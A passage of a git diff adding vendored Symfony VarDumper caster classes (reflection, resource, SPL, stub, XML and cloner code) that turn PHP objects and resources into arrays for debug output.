$a[$prefix.'properties'][$n->name] = $n; + } + + foreach ($c->getMethods() as $n) { + $a[$prefix.'methods'][$n->name] = $n; + } + + if (!($filter & Caster::EXCLUDE_VERBOSE) && !$isNested) { + self::addExtra($a, $c); + } + + return $a; + } + + public static function castFunctionAbstract(\ReflectionFunctionAbstract $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $prefix = Caster::PREFIX_VIRTUAL; + + self::addMap($a, $c, [ + 'returnsReference' => 'returnsReference', + 'returnType' => 'getReturnType', + 'class' => 'getClosureScopeClass', + 'this' => 'getClosureThis', + ]); + + if (isset($a[$prefix.'returnType'])) { + $v = $a[$prefix.'returnType']; + $v = $v instanceof \ReflectionNamedType ? $v->getName() : (string) $v; + $a[$prefix.'returnType'] = new ClassStub($a[$prefix.'returnType']->allowsNull() ? '?'.$v : $v, [class_exists($v, false) || interface_exists($v, false) || trait_exists($v, false) ? $v : '', '']); + } + if (isset($a[$prefix.'class'])) { + $a[$prefix.'class'] = new ClassStub($a[$prefix.'class']); + } + if (isset($a[$prefix.'this'])) { + $a[$prefix.'this'] = new CutStub($a[$prefix.'this']); + } + + foreach ($c->getParameters() as $v) { + $k = '$'.$v->name; + if ($v->isVariadic()) { + $k = '...'.$k; + } + if ($v->isPassedByReference()) { + $k = '&'.$k; + } + $a[$prefix.'parameters'][$k] = $v; + } + if (isset($a[$prefix.'parameters'])) { + $a[$prefix.'parameters'] = new EnumStub($a[$prefix.'parameters']); + } + + if (!($filter & Caster::EXCLUDE_VERBOSE) && $v = $c->getStaticVariables()) { + foreach ($v as $k => &$v) { + if (\is_object($v)) { + $a[$prefix.'use']['$'.$k] = new CutStub($v); + } else { + $a[$prefix.'use']['$'.$k] = &$v; + } + } + unset($v); + $a[$prefix.'use'] = new EnumStub($a[$prefix.'use']); + } + + if (!($filter & Caster::EXCLUDE_VERBOSE) && !$isNested) { + self::addExtra($a, $c); + } + + return $a; + } + + public static function castMethod(\ReflectionMethod $c, array $a, Stub $stub, $isNested) + { + $a[Caster::PREFIX_VIRTUAL.'modifiers'] = implode(' ', \Reflection::getModifierNames($c->getModifiers())); + + return $a; + } + + public static function castParameter(\ReflectionParameter $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + + self::addMap($a, $c, [ + 'position' => 'getPosition', + 'isVariadic' => 'isVariadic', + 'byReference' => 'isPassedByReference', + 'allowsNull' => 'allowsNull', + ]); + + if ($v = $c->getType()) { + $a[$prefix.'typeHint'] = $v instanceof \ReflectionNamedType ? $v->getName() : (string) $v; + } + + if (isset($a[$prefix.'typeHint'])) { + $v = $a[$prefix.'typeHint']; + $a[$prefix.'typeHint'] = new ClassStub($v, [class_exists($v, false) || interface_exists($v, false) || trait_exists($v, false) ? $v : '', '']); + } else { + unset($a[$prefix.'allowsNull']); + } + + try { + $a[$prefix.'default'] = $v = $c->getDefaultValue(); + if ($c->isDefaultValueConstant()) { + $a[$prefix.'default'] = new ConstStub($c->getDefaultValueConstantName(), $v); + } + if (null === $v) { + unset($a[$prefix.'allowsNull']); + } + } catch (\ReflectionException $e) { + } + + return $a; + } + + public static function castProperty(\ReflectionProperty $c, array $a, Stub $stub, $isNested) + { + $a[Caster::PREFIX_VIRTUAL.'modifiers'] = implode(' ', \Reflection::getModifierNames($c->getModifiers())); + self::addExtra($a, $c); + + return $a; + } + + public static function castReference(\ReflectionReference $c, array $a, Stub $stub, $isNested) + { + $a[Caster::PREFIX_VIRTUAL.'id'] = $c->getId(); + + return $a; + } + + public static function castExtension(\ReflectionExtension $c, array $a, Stub $stub, $isNested) + { + self::addMap($a, $c, [ + 'version' => 'getVersion', + 'dependencies' => 'getDependencies', + 'iniEntries' => 'getIniEntries', + 'isPersistent' => 'isPersistent', + 'isTemporary' => 'isTemporary', + 'constants' => 'getConstants', + 'functions' => 'getFunctions', + 'classes' => 'getClasses', + ]); + + return $a; + } + + public static function castZendExtension(\ReflectionZendExtension $c, array $a, Stub $stub, $isNested) + { + self::addMap($a, $c, [ + 'version' => 'getVersion', + 'author' => 'getAuthor', + 'copyright' => 'getCopyright', + 'url' => 'getURL', + ]); + + return $a; + } + + public static function getSignature(array $a) + { + $prefix = Caster::PREFIX_VIRTUAL; + $signature = ''; + + if (isset($a[$prefix.'parameters'])) { + foreach ($a[$prefix.'parameters']->value as $k => $param) { + $signature .= ', '; + if ($type = $param->getType()) { + if (!$type instanceof \ReflectionNamedType) { + $signature .= $type.' '; + } else { + if (!$param->isOptional() && $param->allowsNull()) { + $signature .= '?'; + } + $signature .= substr(strrchr('\\'.$type->getName(), '\\'), 1).' '; + } + } + $signature .= $k; + + if (!$param->isDefaultValueAvailable()) { + continue; + } + $v = $param->getDefaultValue(); + $signature .= ' = '; + + if ($param->isDefaultValueConstant()) { + $signature .= substr(strrchr('\\'.$param->getDefaultValueConstantName(), '\\'), 1); + } elseif (null === $v) { + $signature .= 'null'; + } elseif (\is_array($v)) { + $signature .= $v ? '[…'.\count($v).']' : '[]'; + } elseif (\is_string($v)) { + $signature .= 10 > \strlen($v) && false === strpos($v, '\\') ? "'{$v}'" : "'…".\strlen($v)."'"; + } elseif (\is_bool($v)) { + $signature .= $v ? 'true' : 'false'; + } else { + $signature .= $v; + } + } + } + $signature = (empty($a[$prefix.'returnsReference']) ? '' : '&').'('.substr($signature, 2).')'; + + if (isset($a[$prefix.'returnType'])) { + $signature .= ': '.substr(strrchr('\\'.$a[$prefix.'returnType'], '\\'), 1); + } + + return $signature; + } + + private static function addExtra(array &$a, \Reflector $c) + { + $x = isset($a[Caster::PREFIX_VIRTUAL.'extra']) ? $a[Caster::PREFIX_VIRTUAL.'extra']->value : []; + + if (method_exists($c, 'getFileName') && $m = $c->getFileName()) { + $x['file'] = new LinkStub($m, $c->getStartLine()); + $x['line'] = $c->getStartLine().' to '.$c->getEndLine(); + } + + self::addMap($x, $c, self::$extraMap, ''); + + if ($x) { + $a[Caster::PREFIX_VIRTUAL.'extra'] = new EnumStub($x); + } + } + + private static function addMap(array &$a, \Reflector $c, array $map, string $prefix = Caster::PREFIX_VIRTUAL) + { + foreach ($map as $k => $m) { + if (\PHP_VERSION_ID >= 80000 && 'isDisabled' === $k) { + continue; + } + + if (method_exists($c, $m) && false !== ($m = $c->$m()) && null !== $m) { + $a[$prefix.$k] = $m instanceof \Reflector ? $m->name : $m; + } + } + } +} diff --git a/vendor/symfony/var-dumper/Caster/ResourceCaster.php b/vendor/symfony/var-dumper/Caster/ResourceCaster.php new file mode 100644 index 0000000..5a7c428 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ResourceCaster.php @@ -0,0 +1,105 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts common resource types to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class ResourceCaster +{ + /** + * @param \CurlHandle|resource $h + * + * @return array + */ + public static function castCurl($h, array $a, Stub $stub, $isNested) + { + return curl_getinfo($h); + } + + public static function castDba($dba, array $a, Stub $stub, $isNested) + { + $list = dba_list(); + $a['file'] = $list[(int) $dba]; + + return $a; + } + + public static function castProcess($process, array $a, Stub $stub, $isNested) + { + return proc_get_status($process); + } + + public static function castStream($stream, array $a, Stub $stub, $isNested) + { + $a = stream_get_meta_data($stream) + static::castStreamContext($stream, $a, $stub, $isNested); + if (isset($a['uri'])) { + $a['uri'] = new LinkStub($a['uri']); + } + + return $a; + } + + public static function castStreamContext($stream, array $a, Stub $stub, $isNested) + { + return @stream_context_get_params($stream) ?: $a; + } + + public static function castGd($gd, array $a, Stub $stub, $isNested) + { + $a['size'] = imagesx($gd).'x'.imagesy($gd); + $a['trueColor'] = imageistruecolor($gd); + + return $a; + } + + public static function castMysqlLink($h, array $a, Stub $stub, $isNested) + { + $a['host'] = mysql_get_host_info($h); + $a['protocol'] = mysql_get_proto_info($h); + $a['server'] = mysql_get_server_info($h); + + return $a; + } + + public static function castOpensslX509($h, array $a, Stub $stub, $isNested) + { + $stub->cut = -1; + $info = openssl_x509_parse($h, false); + + $pin = openssl_pkey_get_public($h); + $pin = openssl_pkey_get_details($pin)['key']; + $pin = \array_slice(explode("\n", $pin), 1, -2); + $pin = base64_decode(implode('', $pin)); + $pin = base64_encode(hash('sha256', $pin, true)); + + $a += [ + 'subject' => new EnumStub(array_intersect_key($info['subject'], ['organizationName' => true, 'commonName' => true])), + 'issuer' => new EnumStub(array_intersect_key($info['issuer'], ['organizationName' => true, 'commonName' => true])), + 'expiry' => new ConstStub(date(\DateTime::ISO8601, $info['validTo_time_t']), $info['validTo_time_t']), + 'fingerprint' => new EnumStub([ + 'md5' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'md5')), 2, ':', true)), + 'sha1' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'sha1')), 2, ':', true)), + 'sha256' => new ConstStub(wordwrap(strtoupper(openssl_x509_fingerprint($h, 'sha256')), 2, ':', true)), + 'pin-sha256' => new ConstStub($pin), + ]), + ]; + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/SplCaster.php b/vendor/symfony/var-dumper/Caster/SplCaster.php new file mode 100644 index 0000000..c8d55e1 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/SplCaster.php @@ -0,0 +1,245 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts SPL related classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class SplCaster +{ + private static $splFileObjectFlags = [ + \SplFileObject::DROP_NEW_LINE => 'DROP_NEW_LINE', + \SplFileObject::READ_AHEAD => 'READ_AHEAD', + \SplFileObject::SKIP_EMPTY => 'SKIP_EMPTY', + \SplFileObject::READ_CSV => 'READ_CSV', + ]; + + public static function castArrayObject(\ArrayObject $c, array $a, Stub $stub, $isNested) + { + return self::castSplArray($c, $a, $stub, $isNested); + } + + public static function castArrayIterator(\ArrayIterator $c, array $a, Stub $stub, $isNested) + { + return self::castSplArray($c, $a, $stub, $isNested); + } + + public static function castHeap(\Iterator $c, array $a, Stub $stub, $isNested) + { + $a += [ + Caster::PREFIX_VIRTUAL.'heap' => iterator_to_array(clone $c), + ]; + + return $a; + } + + public static function castDoublyLinkedList(\SplDoublyLinkedList $c, array $a, Stub $stub, $isNested) + { + $prefix = Caster::PREFIX_VIRTUAL; + $mode = $c->getIteratorMode(); + $c->setIteratorMode(\SplDoublyLinkedList::IT_MODE_KEEP | $mode & ~\SplDoublyLinkedList::IT_MODE_DELETE); + + $a += [ + $prefix.'mode' => new ConstStub((($mode & \SplDoublyLinkedList::IT_MODE_LIFO) ? 'IT_MODE_LIFO' : 'IT_MODE_FIFO').' | '.(($mode & \SplDoublyLinkedList::IT_MODE_DELETE) ? 'IT_MODE_DELETE' : 'IT_MODE_KEEP'), $mode), + $prefix.'dllist' => iterator_to_array($c), + ]; + $c->setIteratorMode($mode); + + return $a; + } + + public static function castFileInfo(\SplFileInfo $c, array $a, Stub $stub, $isNested) + { + static $map = [ + 'path' => 'getPath', + 'filename' => 'getFilename', + 'basename' => 'getBasename', + 'pathname' => 'getPathname', + 'extension' => 'getExtension', + 'realPath' => 'getRealPath', + 'aTime' => 'getATime', + 'mTime' => 'getMTime', + 'cTime' => 'getCTime', + 'inode' => 'getInode', + 'size' => 'getSize', + 'perms' => 'getPerms', + 'owner' => 'getOwner', + 'group' => 'getGroup', + 'type' => 'getType', + 'writable' => 'isWritable', + 'readable' => 'isReadable', + 'executable' => 'isExecutable', + 'file' => 'isFile', + 'dir' => 'isDir', + 'link' => 'isLink', + 'linkTarget' => 'getLinkTarget', + ]; + + $prefix = Caster::PREFIX_VIRTUAL; + unset($a["\0SplFileInfo\0fileName"]); + unset($a["\0SplFileInfo\0pathName"]); + + if (\PHP_VERSION_ID < 80000) { + if (false === $c->getPathname()) { + $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; + + return $a; + } + } else { + try { + $c->isReadable(); + } catch (\RuntimeException $e) { + if ('Object not initialized' !== $e->getMessage()) { + throw $e; + } + + $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; + + return $a; + } catch (\Error $e) { + if ('Object not initialized' !== $e->getMessage()) { + throw $e; + } + + $a[$prefix.'⚠'] = 'The parent constructor was not called: the object is in an invalid state'; + + return $a; + } + } + + foreach ($map as $key => $accessor) { + try { + $a[$prefix.$key] = $c->$accessor(); + } catch (\Exception $e) { + } + } + + if (isset($a[$prefix.'realPath'])) { + $a[$prefix.'realPath'] = new LinkStub($a[$prefix.'realPath']); + } + + if (isset($a[$prefix.'perms'])) { + $a[$prefix.'perms'] = new ConstStub(sprintf('0%o', $a[$prefix.'perms']), $a[$prefix.'perms']); + } + + static $mapDate = ['aTime', 'mTime', 'cTime']; + foreach ($mapDate as $key) { + if (isset($a[$prefix.$key])) { + $a[$prefix.$key] = new ConstStub(date('Y-m-d H:i:s', $a[$prefix.$key]), $a[$prefix.$key]); + } + } + + return $a; + } + + public static function castFileObject(\SplFileObject $c, array $a, Stub $stub, $isNested) + { + static $map = [ + 'csvControl' => 'getCsvControl', + 'flags' => 'getFlags', + 'maxLineLen' => 'getMaxLineLen', + 'fstat' => 'fstat', + 'eof' => 'eof', + 'key' => 'key', + ]; + + $prefix = Caster::PREFIX_VIRTUAL; + + foreach ($map as $key => $accessor) { + try { + $a[$prefix.$key] = $c->$accessor(); + } catch (\Exception $e) { + } + } + + if (isset($a[$prefix.'flags'])) { + $flagsArray = []; + foreach (self::$splFileObjectFlags as $value => $name) { + if ($a[$prefix.'flags'] & $value) { + $flagsArray[] = $name; + } + } + $a[$prefix.'flags'] = new ConstStub(implode('|', $flagsArray), $a[$prefix.'flags']); + } + + if (isset($a[$prefix.'fstat'])) { + $a[$prefix.'fstat'] = new CutArrayStub($a[$prefix.'fstat'], ['dev', 'ino', 'nlink', 'rdev', 'blksize', 'blocks']); + } + + return $a; + } + + public static function castObjectStorage(\SplObjectStorage $c, array $a, Stub $stub, $isNested) + { + $storage = []; + unset($a[Caster::PREFIX_DYNAMIC."\0gcdata"]); // Don't hit https://bugs.php.net/65967 + unset($a["\0SplObjectStorage\0storage"]); + + $clone = clone $c; + foreach ($clone as $obj) { + $storage[] = [ + 'object' => $obj, + 'info' => $clone->getInfo(), + ]; + } + + $a += [ + Caster::PREFIX_VIRTUAL.'storage' => $storage, + ]; + + return $a; + } + + public static function castOuterIterator(\OuterIterator $c, array $a, Stub $stub, $isNested) + { + $a[Caster::PREFIX_VIRTUAL.'innerIterator'] = $c->getInnerIterator(); + + return $a; + } + + public static function castWeakReference(\WeakReference $c, array $a, Stub $stub, $isNested) + { + $a[Caster::PREFIX_VIRTUAL.'object'] = $c->get(); + + return $a; + } + + private static function castSplArray($c, array $a, Stub $stub, bool $isNested): array + { + $prefix = Caster::PREFIX_VIRTUAL; + $flags = $c->getFlags(); + + if (!($flags & \ArrayObject::STD_PROP_LIST)) { + $c->setFlags(\ArrayObject::STD_PROP_LIST); + $a = Caster::castObject($c, \get_class($c), method_exists($c, '__debugInfo'), $stub->class); + $c->setFlags($flags); + } + if (\PHP_VERSION_ID < 70400) { + $a[$prefix.'storage'] = $c->getArrayCopy(); + } + $a += [ + $prefix.'flag::STD_PROP_LIST' => (bool) ($flags & \ArrayObject::STD_PROP_LIST), + $prefix.'flag::ARRAY_AS_PROPS' => (bool) ($flags & \ArrayObject::ARRAY_AS_PROPS), + ]; + if ($c instanceof \ArrayObject) { + $a[$prefix.'iteratorClass'] = new ClassStub($c->getIteratorClass()); + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/StubCaster.php b/vendor/symfony/var-dumper/Caster/StubCaster.php new file mode 100644 index 0000000..b6332fb --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/StubCaster.php @@ -0,0 +1,84 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts a caster's Stub. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class StubCaster +{ + public static function castStub(Stub $c, array $a, Stub $stub, $isNested) + { + if ($isNested) { + $stub->type = $c->type; + $stub->class = $c->class; + $stub->value = $c->value; + $stub->handle = $c->handle; + $stub->cut = $c->cut; + $stub->attr = $c->attr; + + if (Stub::TYPE_REF === $c->type && !$c->class && \is_string($c->value) && !preg_match('//u', $c->value)) { + $stub->type = Stub::TYPE_STRING; + $stub->class = Stub::STRING_BINARY; + } + + $a = []; + } + + return $a; + } + + public static function castCutArray(CutArrayStub $c, array $a, Stub $stub, $isNested) + { + return $isNested ? $c->preservedSubset : $a; + } + + public static function cutInternals($obj, array $a, Stub $stub, $isNested) + { + if ($isNested) { + $stub->cut += \count($a); + + return []; + } + + return $a; + } + + public static function castEnum(EnumStub $c, array $a, Stub $stub, $isNested) + { + if ($isNested) { + $stub->class = $c->dumpKeys ? '' : null; + $stub->handle = 0; + $stub->value = null; + $stub->cut = $c->cut; + $stub->attr = $c->attr; + + $a = []; + + if ($c->value) { + foreach (array_keys($c->value) as $k) { + $keys[] = !isset($k[0]) || "\0" !== $k[0] ? Caster::PREFIX_VIRTUAL.$k : $k; + } + // Preserve references with array_combine() + $a = array_combine($keys, $c->value); + } + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/SymfonyCaster.php b/vendor/symfony/var-dumper/Caster/SymfonyCaster.php new file mode 100644 index 0000000..ad7bb71 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/SymfonyCaster.php @@ -0,0 +1,69 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\HttpFoundation\Request; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @final since Symfony 4.4 + */ +class SymfonyCaster +{ + private static $requestGetters = [ + 'pathInfo' => 'getPathInfo', + 'requestUri' => 'getRequestUri', + 'baseUrl' => 'getBaseUrl', + 'basePath' => 'getBasePath', + 'method' => 'getMethod', + 'format' => 'getRequestFormat', + ]; + + public static function castRequest(Request $request, array $a, Stub $stub, $isNested) + { + $clone = null; + + foreach (self::$requestGetters as $prop => $getter) { + $key = Caster::PREFIX_PROTECTED.$prop; + if (\array_key_exists($key, $a) && null === $a[$key]) { + if (null === $clone) { + $clone = clone $request; + } + $a[Caster::PREFIX_VIRTUAL.$prop] = $clone->{$getter}(); + } + } + + return $a; + } + + public static function castHttpClient($client, array $a, Stub $stub, $isNested) + { + $multiKey = sprintf("\0%s\0multi", \get_class($client)); + if (isset($a[$multiKey])) { + $a[$multiKey] = new CutStub($a[$multiKey]); + } + + return $a; + } + + public static function castHttpClientResponse($response, array $a, Stub $stub, $isNested) + { + $stub->cut += \count($a); + $a = []; + + foreach ($response->getInfo() as $k => $v) { + $a[Caster::PREFIX_VIRTUAL.$k] = $v; + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/TraceStub.php b/vendor/symfony/var-dumper/Caster/TraceStub.php new file mode 100644 index 0000000..5eea1c8 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/TraceStub.php @@ -0,0 +1,36 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents a backtrace as returned by debug_backtrace() or Exception->getTrace(). + * + * @author Nicolas Grekas + */ +class TraceStub extends Stub +{ + public $keepArgs; + public $sliceOffset; + public $sliceLength; + public $numberingOffset; + + public function __construct(array $trace, bool $keepArgs = true, int $sliceOffset = 0, int $sliceLength = null, int $numberingOffset = 0) + { + $this->value = $trace; + $this->keepArgs = $keepArgs; + $this->sliceOffset = $sliceOffset; + $this->sliceLength = $sliceLength; + $this->numberingOffset = $numberingOffset; + } +} diff --git a/vendor/symfony/var-dumper/Caster/UuidCaster.php b/vendor/symfony/var-dumper/Caster/UuidCaster.php new file mode 100644 index 0000000..b102774 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/UuidCaster.php @@ -0,0 +1,30 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Ramsey\Uuid\UuidInterface; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Grégoire Pineau + */ +final class UuidCaster +{ + public static function castRamseyUuid(UuidInterface $c, array $a, Stub $stub, bool $isNested): array + { + $a += [ + Caster::PREFIX_VIRTUAL.'uuid' => (string) $c, + ]; + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php b/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php new file mode 100644 index 0000000..d18e474 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/XmlReaderCaster.php @@ -0,0 +1,79 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts XmlReader class to array representation. + * + * @author Baptiste Clavié + * + * @final since Symfony 4.4 + */ +class XmlReaderCaster +{ + private static $nodeTypes = [ + \XMLReader::NONE => 'NONE', + \XMLReader::ELEMENT => 'ELEMENT', + \XMLReader::ATTRIBUTE => 'ATTRIBUTE', + \XMLReader::TEXT => 'TEXT', + \XMLReader::CDATA => 'CDATA', + \XMLReader::ENTITY_REF => 'ENTITY_REF', + \XMLReader::ENTITY => 'ENTITY', + \XMLReader::PI => 'PI (Processing Instruction)', + \XMLReader::COMMENT => 'COMMENT', + \XMLReader::DOC => 'DOC', + \XMLReader::DOC_TYPE => 'DOC_TYPE', + \XMLReader::DOC_FRAGMENT => 'DOC_FRAGMENT', + \XMLReader::NOTATION => 'NOTATION', + \XMLReader::WHITESPACE => 'WHITESPACE', + \XMLReader::SIGNIFICANT_WHITESPACE => 'SIGNIFICANT_WHITESPACE', + \XMLReader::END_ELEMENT => 'END_ELEMENT', + \XMLReader::END_ENTITY => 'END_ENTITY', + \XMLReader::XML_DECLARATION => 'XML_DECLARATION', + ]; + + public static function castXmlReader(\XMLReader $reader, array $a, Stub $stub, $isNested) + { + $props = Caster::PREFIX_VIRTUAL.'parserProperties'; + $info = [ + 'localName' => $reader->localName, + 'prefix' => $reader->prefix, + 'nodeType' => new ConstStub(self::$nodeTypes[$reader->nodeType], $reader->nodeType), + 'depth' => $reader->depth, + 'isDefault' => $reader->isDefault, + 'isEmptyElement' => \XMLReader::NONE === $reader->nodeType ? null : $reader->isEmptyElement, + 'xmlLang' => $reader->xmlLang, + 'attributeCount' => $reader->attributeCount, + 'value' => $reader->value, + 'namespaceURI' => $reader->namespaceURI, + 'baseURI' => $reader->baseURI ? new LinkStub($reader->baseURI) : $reader->baseURI, + $props => [ + 'LOADDTD' => $reader->getParserProperty(\XMLReader::LOADDTD), + 'DEFAULTATTRS' => $reader->getParserProperty(\XMLReader::DEFAULTATTRS), + 'VALIDATE' => $reader->getParserProperty(\XMLReader::VALIDATE), + 'SUBST_ENTITIES' => $reader->getParserProperty(\XMLReader::SUBST_ENTITIES), + ], + ]; + + if ($info[$props] = Caster::filter($info[$props], Caster::EXCLUDE_EMPTY, [], $count)) { + $info[$props] = new EnumStub($info[$props]); + $info[$props]->cut = $count; + } + + $info = Caster::filter($info, Caster::EXCLUDE_EMPTY, [], $count); + // +2 because hasValue and hasAttributes are always filtered + $stub->cut += $count + 2; + + return $a + $info; + } +} diff --git a/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php b/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php new file mode 100644 index 0000000..1d9d590 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/XmlResourceCaster.php @@ -0,0 +1,63 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts XML resources to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class XmlResourceCaster +{ + private static $xmlErrors = [ + \XML_ERROR_NONE => 'XML_ERROR_NONE', + \XML_ERROR_NO_MEMORY => 'XML_ERROR_NO_MEMORY', + \XML_ERROR_SYNTAX => 'XML_ERROR_SYNTAX', + \XML_ERROR_NO_ELEMENTS => 'XML_ERROR_NO_ELEMENTS', + \XML_ERROR_INVALID_TOKEN => 'XML_ERROR_INVALID_TOKEN', + \XML_ERROR_UNCLOSED_TOKEN => 'XML_ERROR_UNCLOSED_TOKEN', + \XML_ERROR_PARTIAL_CHAR => 'XML_ERROR_PARTIAL_CHAR', + \XML_ERROR_TAG_MISMATCH => 'XML_ERROR_TAG_MISMATCH', + \XML_ERROR_DUPLICATE_ATTRIBUTE => 'XML_ERROR_DUPLICATE_ATTRIBUTE', + \XML_ERROR_JUNK_AFTER_DOC_ELEMENT => 'XML_ERROR_JUNK_AFTER_DOC_ELEMENT', + \XML_ERROR_PARAM_ENTITY_REF => 'XML_ERROR_PARAM_ENTITY_REF', + \XML_ERROR_UNDEFINED_ENTITY => 'XML_ERROR_UNDEFINED_ENTITY', + \XML_ERROR_RECURSIVE_ENTITY_REF => 'XML_ERROR_RECURSIVE_ENTITY_REF', + \XML_ERROR_ASYNC_ENTITY => 'XML_ERROR_ASYNC_ENTITY', + \XML_ERROR_BAD_CHAR_REF => 'XML_ERROR_BAD_CHAR_REF', + \XML_ERROR_BINARY_ENTITY_REF => 'XML_ERROR_BINARY_ENTITY_REF', + \XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF => 'XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF', + \XML_ERROR_MISPLACED_XML_PI => 'XML_ERROR_MISPLACED_XML_PI', + \XML_ERROR_UNKNOWN_ENCODING => 'XML_ERROR_UNKNOWN_ENCODING', + \XML_ERROR_INCORRECT_ENCODING => 'XML_ERROR_INCORRECT_ENCODING', + \XML_ERROR_UNCLOSED_CDATA_SECTION => 'XML_ERROR_UNCLOSED_CDATA_SECTION', + \XML_ERROR_EXTERNAL_ENTITY_HANDLING => 'XML_ERROR_EXTERNAL_ENTITY_HANDLING', + ]; + + public static function castXml($h, array $a, Stub $stub, $isNested) + { + $a['current_byte_index'] = xml_get_current_byte_index($h); + $a['current_column_number'] = xml_get_current_column_number($h); + $a['current_line_number'] = xml_get_current_line_number($h); + $a['error_code'] = xml_get_error_code($h); + + if (isset(self::$xmlErrors[$a['error_code']])) { + $a['error_code'] = new ConstStub(self::$xmlErrors[$a['error_code']], $a['error_code']); + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Cloner/AbstractCloner.php b/vendor/symfony/var-dumper/Cloner/AbstractCloner.php new file mode 100644 index 0000000..43051ab --- /dev/null +++ b/vendor/symfony/var-dumper/Cloner/AbstractCloner.php @@ -0,0 +1,367 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Cloner; + +use Symfony\Component\VarDumper\Caster\Caster; +use Symfony\Component\VarDumper\Exception\ThrowingCasterException; + +/** + * AbstractCloner implements a generic caster mechanism for objects and resources. + * + * @author Nicolas Grekas + */ +abstract class AbstractCloner implements ClonerInterface +{ + public static $defaultCasters = [ + '__PHP_Incomplete_Class' => ['Symfony\Component\VarDumper\Caster\Caster', 'castPhpIncompleteClass'], + + 'Symfony\Component\VarDumper\Caster\CutStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castStub'], + 'Symfony\Component\VarDumper\Caster\CutArrayStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castCutArray'], + 'Symfony\Component\VarDumper\Caster\ConstStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castStub'], + 'Symfony\Component\VarDumper\Caster\EnumStub' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'castEnum'], + + 'Closure' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castClosure'], + 'Generator' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castGenerator'], + 'ReflectionType' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castType'], + 'ReflectionGenerator' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castReflectionGenerator'], + 'ReflectionClass' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castClass'], + 'ReflectionFunctionAbstract' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castFunctionAbstract'], + 'ReflectionMethod' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castMethod'], + 'ReflectionParameter' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castParameter'], + 'ReflectionProperty' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castProperty'], + 'ReflectionReference' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castReference'], + 'ReflectionExtension' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castExtension'], + 'ReflectionZendExtension' => ['Symfony\Component\VarDumper\Caster\ReflectionCaster', 'castZendExtension'], + + 'Doctrine\Common\Persistence\ObjectManager' => ['Symfony\Component\VarDumper\Caster\StubCaster', 'cutInternals'], + 'Doctrine\Common\Proxy\Proxy' => ['Symfony\Component\VarDumper\Caster\DoctrineCaster', 'castCommonProxy'], + 'Doctrine\ORM\Proxy\Proxy' => 